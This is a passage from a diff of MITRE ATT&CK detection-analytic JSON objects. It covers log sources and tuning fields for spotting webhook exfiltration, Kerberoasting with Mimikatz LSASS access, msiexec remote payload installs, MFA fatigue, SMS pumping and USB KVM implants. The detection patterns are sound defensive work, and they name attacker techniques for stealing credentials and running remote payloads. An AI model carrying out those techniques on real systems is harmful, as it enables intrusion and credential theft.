"x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "esxi:hostd", + "channel": "datastore file access" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxi:vmkernel", + "channel": "HTTPS POST connections to webhook endpoints" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DatastoreExfilThreshold", + "description": "Minimum data volume to flag exfiltration attempts from VM files." + }, + { + "field": "ApprovedIntegrations", + "description": "Whitelisted CI/CD or automation webhooks tied to vSphere/ESXi." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4b72b349-f810-4e34-9185-b5550147147e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0153#AN0440", + "external_id": "AN0440" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0440", + "description": "Suspicious SaaS tenant activity involving webhook configurations pointing to external or untrusted domains. Defender perspective: repeated automated exports or suspicious webhook endpoint registrations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Set-Mailbox, Add-InboxRule, RegisterWebhook" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "saas:api", + "channel": "Webhook registrations or repeated POST activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WebhookRegistrations", + "description": "Monitor new webhook creation events in SaaS environments." + }, + { + "field": "ExternalDomains", + "description": "Flag webhooks pointing to domains not owned by the enterprise." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--86dbac4c-1cba-4056-84a1-604eefbb11ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0154#AN0441", + "external_id": "AN0441" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0441", + "description": "Unusual screensaver (.scr) executions correlated with recent registry modifications to HKCU\\Control Panel\\Desktop values such as SCRNSAVE.exe, ScreenSaveTimeout, and ScreenSaveActive. Detection focuses on PE image paths not consistent with known legitimate screensavers and triggered after user inactivity timeout.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Adjust the user inactivity threshold that defines 'screensaver trigger window'; shorter timeouts may increase sensitivity." + }, + { + "field": "SuspiciousPathRegex", + "description": "Allow tuning based on expected paths for legitimate .scr files vs suspicious locations (e.g., user temp directories)." + }, + { + "field": "ParentProcessAllowList", + "description": "Allowlisting known legitimate initiators of .scr files (e.g., user32.dll context) to reduce false positives." + }, + { + "field": "RegistryEditorProcessName", + "description": "Monitor for registry modification performed by unusual processes (e.g., powershell.exe, reg.exe)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e246212e-aca3-489d-a2d9-7e24f7c3516c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0155#AN0442", + "external_id": "AN0442" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0442", + "description": "Monitor for unauthorized or unusual modifications to cloud resource hierarchies such as AWS Organizations or Azure Management Groups. Defenders may observe anomalous calls to APIs like `LeaveOrganization`, `CreateAccount`, `MoveAccount`, or Azure subscription transfers. Correlate account activity with administrative role assignments, tenant transfers, or new subscription creation that deviates from organizational baselines. Multi-event correlation should track role elevation followed by hierarchy modifications within a short time window.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "LeaveOrganization: API calls severing accounts from AWS Organizations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Threshold for correlating role elevation with hierarchy modification events." + }, + { + "field": "PrivilegedRoleList", + "description": "List of high-privilege roles (e.g., Global Administrator, OrganizationAccountAccessRole) used to monitor sensitive modifications." + }, + { + "field": "SubscriptionTransferPatterns", + "description": "Patterns of subscription changes that may indicate hijacking or unauthorized tenant transfers." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5beb62fd-7dac-485f-828c-72cf151124a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0156#AN0443", + "external_id": "AN0443" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0443", + "description": "Automated and repetitive triggering of SMS messages through OTP/account verification fields on SaaS platforms, leveraging background messaging APIs such as Twilio, AWS SNS, or Amazon Cognito to generate traffic toward attacker-controlled numbers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:application", + "channel": "High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:audit", + "channel": "Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines the rolling window over which SMS API invocation frequency is measured. Tunable based on average platform traffic." + }, + { + "field": "SMSFrequencyThreshold", + "description": "Number of SMS requests per endpoint or per user that should trigger investigation. Should align with business logic and user behavior." + }, + { + "field": "DestinationCountryCodeFilter", + "description": "Monitors if requests target known high-risk, revenue-sharing regions. Tunable to reflect SMS tariff rates or abuse history." + }, + { + "field": "UserAgentAnomalyThreshold", + "description": "Defines outlier score or list of unknown/automated user agents submitting forms." + }, + { + "field": "IPGeoVarianceScore", + "description": "Tracks abnormal geographic spread of traffic sourcing OTP triggers." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4ab972bf-623b-418b-9647-2c3a56b55083", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0157#AN0444", + "external_id": "AN0444" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0444", + "description": "Detects Kerberoasting attempts by monitoring for anomalous Kerberos TGS requests (Event ID 4769) with RC4 encryption (etype 0x17), accounts requesting an unusual number of service tickets in a short period, or service accounts targeted outside normal usage baselines. Also correlates suspicious process activity (e.g., Mimikatz invoking LSASS access) with Kerberos ticket anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", + "name": "WinEventLog:Security", + "channel": "EventCode=4769" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TGSRequestThreshold", + "description": "Number of TGS requests per account within a defined window; higher than baseline may indicate Kerberoasting." + }, + { + "field": "AllowedEncryptionTypes", + "description": "Permitted Kerberos encryption algorithms; RC4 (etype 0x17) usage in modern environments is suspicious." + }, + { + "field": "ServiceAccountBaselines", + "description": "Expected SPNs requested by specific accounts; anomalies may indicate adversarial targeting." + }, + { + "field": "TimeWindow", + "description": "Correlation window for bursts of TGS requests; adjustable to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f27c0482-fbea-47a3-9b19-7302a058a9e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0158#AN0445", + "external_id": "AN0445" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0445", + "description": "Detection of msiexec.exe execution where command-line arguments reference remote MSI packages, UNC paths, HTTP/HTTPS URLs, or DLLs, correlated with subsequent module loads and/or network connections to previously unseen destinations. The behavioral chain links process creation of msiexec.exe with suspicious parameters, network activity to retrieve payloads, and module loading indicative of malicious installation or DLL execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousCommandlinePatterns", + "description": "Patterns for identifying malicious msiexec.exe usage (e.g., UNC paths, external domains, DLL execution flags)" + }, + { + "field": "SuspiciousDestinationList", + "description": "List of external domains or IP ranges considered suspicious for msiexec network connections" + }, + { + "field": "TimeWindow", + "description": "Time range in seconds/minutes for correlating msiexec.exe execution with module load and network activity" + }, + { + "field": "LegitimateMSIHashes", + "description": "Hash list of MSI packages considered known-good to reduce false positives" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e1e76ffd-b452-429e-8ea0-a25ba877a2b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0159#AN0446", + "external_id": "AN0446" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0446", + "description": "Detection of USB-based remote access hardware (e.g., TinyPilot, PiKVM) attached to the host via drive or peripheral enumeration, triggering vendor identifiers or unusual EDID announcements.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational", + "channel": "EventCode=2003" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VendorID", + "description": "Device vendor strings may need tuning to include additional remote hardware sources." + }, + { + "field": "SerialNumber", + "description": "Serial numbers for known implants can vary per campaign and may need expansion." + }, + { + "field": "TimeWindow", + "description": "Adjust the detection window for peripheral enumeration based on environment and operating hours." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--04e9470e-676f-4af0-add4-8103300ebd19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0159#AN0447", + "external_id": "AN0447" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0447", + "description": "Insertion of USB-based hardware proxies (e.g., PiKVM) which register under predictable names (e.g., tinypilot) or mount under known paths (e.g., /opt/tinypilot-privileged).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "auditd:SYSCALL", + "channel": "udev events or drive enumeration involving TinyPilot paths or device classes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FriendlyName", + "description": "Different hardware may present differently; names like 'TinyPilot' may need expanding to cover custom implants." + }, + { + "field": "MountPath", + "description": "Path matching (e.g., /opt/tinypilot) is mutable based on distro, customization, and staging." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fc3e13fd-cbee-4bb0-aae7-ce1e8af7d768", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0159#AN0448", + "external_id": "AN0448" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0448", + "description": "Attachment of hardware-backed USB KVM devices (e.g., TinyPilot) that enumerate new HID or serial communication interfaces with identifiable metadata.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "macos:unifiedlog", + "channel": "Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DeviceClass", + "description": "Input or HID devices may be benign or malicious depending on context; tune based on environment (e.g., BYOD/dev stations)." + }, + { + "field": "SerialCorrelationDepth", + "description": "Correlating serials across multiple device insertions may reduce noise but requires tuning." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f51edea3-e0e8-4090-8e81-a01c3394ba53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0160#AN0449", + "external_id": "AN0449" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0449", + "description": "Monitor for excessive or anomalous MFA push notifications or token requests, especially when login attempts originate from unusual IPs or geolocations and do not correspond to legitimate user-initiated sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Multiple MFA challenge requests without successful primary login" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "NSM:Connections", + "channel": "PushNotificationSent" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Threshold of MFA prompts per user within a short time period" + }, + { + "field": "GeoIPAllowList", + "description": "Expected login locations for workforce; deviations can be tuned" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--824db63f-2a2c-4e3e-8e7d-49110cc63173", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0160#AN0450", + "external_id": "AN0450" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0450", + "description": "Detect abnormal MFA activity within cloud service provider logs, such as repeated generation of MFA challenges for the same user session or mismatched MFA device and login origin.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "AWS:CloudTrail", + "channel": "AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FailedLoginThreshold", + "description": "Number of failed logins before raising detection" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2c0df764-d9bd-4a91-808a-aa13df13511a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0160#AN0451", + "external_id": "AN0451" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0451", + "description": "Detect repeated failed login events followed by MFA challenges triggered in rapid succession, especially if originating from service accounts or anomalous IP addresses.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4625" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceAccountExclusion", + "description": "Exclude specific accounts where automated MFA requests are legitimate" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e36b2d32-05a8-4bcf-b7cf-58dc3ad4c0d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0160#AN0452", + "external_id": "AN0452" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0452", + "description": "Monitor PAM and syslog entries for unusual frequency of login attempts that trigger MFA prompts, particularly when MFA challenges do not match expected user behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "auditd:AUTH", + "channel": "pam_unix or pam_google_authenticator invoked repeatedly within short interval" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthRetryThreshold", + "description": "Number of retries per user allowed before detection is triggered" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e96b0210-f7d5-43ac-bf73-893f243f6015", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0160#AN0453", + "external_id": "AN0453" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0453", + "description": "Detect anomalous OAuth or SSO logins that repeatedly generate MFA challenges, particularly where MFA approvals are denied or timed out by the user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:okta", + "channel": "MFAChallengeIssued" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MFAProvider", + "description": "Identify which MFA service provider logs are in use (Okta, Duo, Microsoft Authenticator)" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--801a3652-8772-4b69-8a13-d870be653ef0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0160#AN0454", + "external_id": "AN0454" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0454", + "description": "Detect user account logon attempts that trigger multiple MFA challenges through enterprise identity integrations, especially if MFA push requests are generated without successful interactive login.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "macos:unifiedlog", + "channel": "authd generating multiple MFA token requests" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DeviceEnrollmentStatus", + "description": "Exclude unmanaged macOS devices that use different MFA providers" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ae82099a-0baf-4887-953c-67ef5e2d4470", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0161#AN0455", + "external_id": "AN0455" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0455", + "description": "Cause\u2192effect chain: (1) a user or service spawns a shell/PowerShell that queries local/domain password policy via commands/cmdlets (e.g., `net accounts`, `Get-ADDefaultDomainPasswordPolicy`, `secedit /export`); (2) optional directory/LDAP reads from DCs; (3) same principal performs adjacent Discovery or credential-related actions within a short window. Correlate sysmon process creation with PowerShell ScriptBlock and Security logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7", + "name": "WinEventLog:Security", + "channel": "EventCode=4662" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between policy query and adjacent suspicious activity (e.g., 15\u201330 minutes)." + }, + { + "field": "PrivilegedUserAllowList", + "description": "Accounts (e.g., Helpdesk) allowed to run policy queries routinely." + }, + { + "field": "HostRoleScope", + "description": "Limit alerts on DCs/management servers; raise on user workstations/VDI." + }, + { + "field": "PS_ScriptBlockPatterns", + "description": "Cmdlet/function names to treat as high-signal in your environment." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bcf6e9cb-fee9-4efd-8998-03de4908448b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 